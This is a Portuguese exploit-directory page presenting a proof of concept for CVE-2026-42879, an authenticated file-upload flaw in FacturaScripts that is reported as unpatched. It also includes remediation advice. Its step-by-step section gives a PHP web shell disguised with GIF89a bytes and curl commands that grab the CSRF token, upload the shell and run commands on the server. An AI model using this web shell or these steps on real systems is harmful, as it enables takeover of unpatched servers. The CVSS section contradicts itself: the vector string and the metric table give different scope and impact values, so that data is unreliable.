Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42879 — FacturaScripts RCE Exploit - Prova de Conceito | Kitploit
Ferramentas/GitHubGitHub/guzrex/cve-2026-42879
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubguzrex/cve-2026-42879

CVE-2026-42879

FacturaScripts RCE Exploit - Prova de Conceito

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42879 - FacturaScripts - Upload de Arquivo Irrestrito Autenticado via Bypass de Tipo MIME

Resumo

Existe uma vulnerabilidade de upload de arquivo irrestrito autenticado na funcionalidade de upload de imagens de produtos do FacturaScripts. Um atacante com credenciais válidas pode enviar um arquivo PHP disfarçado de imagem GIF (usando um cabeçalho GIF89a), contornando a validação de tipo MIME. O arquivo é armazenado com sua extensão original, incluindo extensões executáveis como .php.


Detalhes

A vulnerabilidade existe em:

Core/Lib/ExtendedController/ProductImagesTrait.php

Especificamente no método addImageAction().

Código Vulnerável

root@kitploit:~
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}
 
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
Baixar ferramenta

Causa Raiz

  • A validação apenas verifica se o tipo MIME contém "image/"
  • Isso pode ser contornado adicionando bytes mágicos GIF89a a um arquivo PHP
  • O sistema identifica incorretamente o arquivo como image/gif
  • O arquivo é salvo com extensão .php em um diretório acessível pela web

Comportamento de Armazenamento de Arquivos

Os arquivos enviados são armazenados em:

root@kitploit:~
/MyFiles/YYYY/MM/X.php

Onde X é um ID autoincremental. Isso permite execução remota direta:

root@kitploit:~
http://target/MyFiles/2026/03/2.php?cmd=id

Impacto

A exploração bem-sucedida permite:

Um atacante pode enviar arquivos com extensões executáveis (ex.: .php) para o servidor, o que, dependendo da configuração do servidor, pode levar a uma exploração adicional.

Prova de Conceito (Manual)

Passo 1: Criar arquivo malicioso

root@kitploit:~
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

Passo 2: Autenticar

  • Faça login no aplicativo
  • Extraia PHPSESSID dos cookies do navegador

Passo 3: Obter token CSRF

root@kitploit:~
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

Passo 4: Enviar shell

root@kitploit:~
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

Passo 5: Executar comando

root@kitploit:~
curl "http://target/MyFiles/2026/03/2.php?cmd=id"

CVSS v3.1

Vetor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N Pontuação Base: 6.3 (Moderada)

MétricaValor
Vetor de AtaqueRede (AV:N)
Complexidade do AtaqueBaixa (AC:L)
Privilégios NecessáriosBaixos (PR:L)
Interação do UsuárioNenhuma (UI:N)
EscopoAlterado (S:C)
ConfidencialidadeAlta (C:H)
IntegridadeAlta (I:H)
DisponibilidadeAlta (A:H)

CWE

  • CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso

Produtos Afetados

CampoValor
EcossistemaPackagist
ID CVECVE-2026-42879
Nome do Pacotefacturascripts/facturascripts
Versões Afetadas<= 2025.81
Versões CorrigidasAinda não corrigido
Corrigido emPendente

Recomendações de Remediação

  1. Validar extensão do arquivo — rejeite qualquer upload cujo nome de arquivo termine em .php, .phtml, .phar ou outras extensões executáveis, independentemente do tipo MIME
  2. Gerar novamente os nomes de arquivo no servidor — nunca use getClientOriginalName(); atribua um nome seguro baseado em UUID com uma extensão validada
  3. Armazenar uploads fora do webroot — sirva arquivos por meio de um controlador que transmita o conteúdo, impedindo execução direta por URL
  4. Usar uma biblioteca de tipos de arquivo — valide o conteúdo real do arquivo (bytes mágicos + extensão + tipo MIME) com uma biblioteca como fileinfo em vez de confiar no MIME fornecido pelo cliente

Créditos

  • Descobridor: Abdullah Alwasabei / Guzrex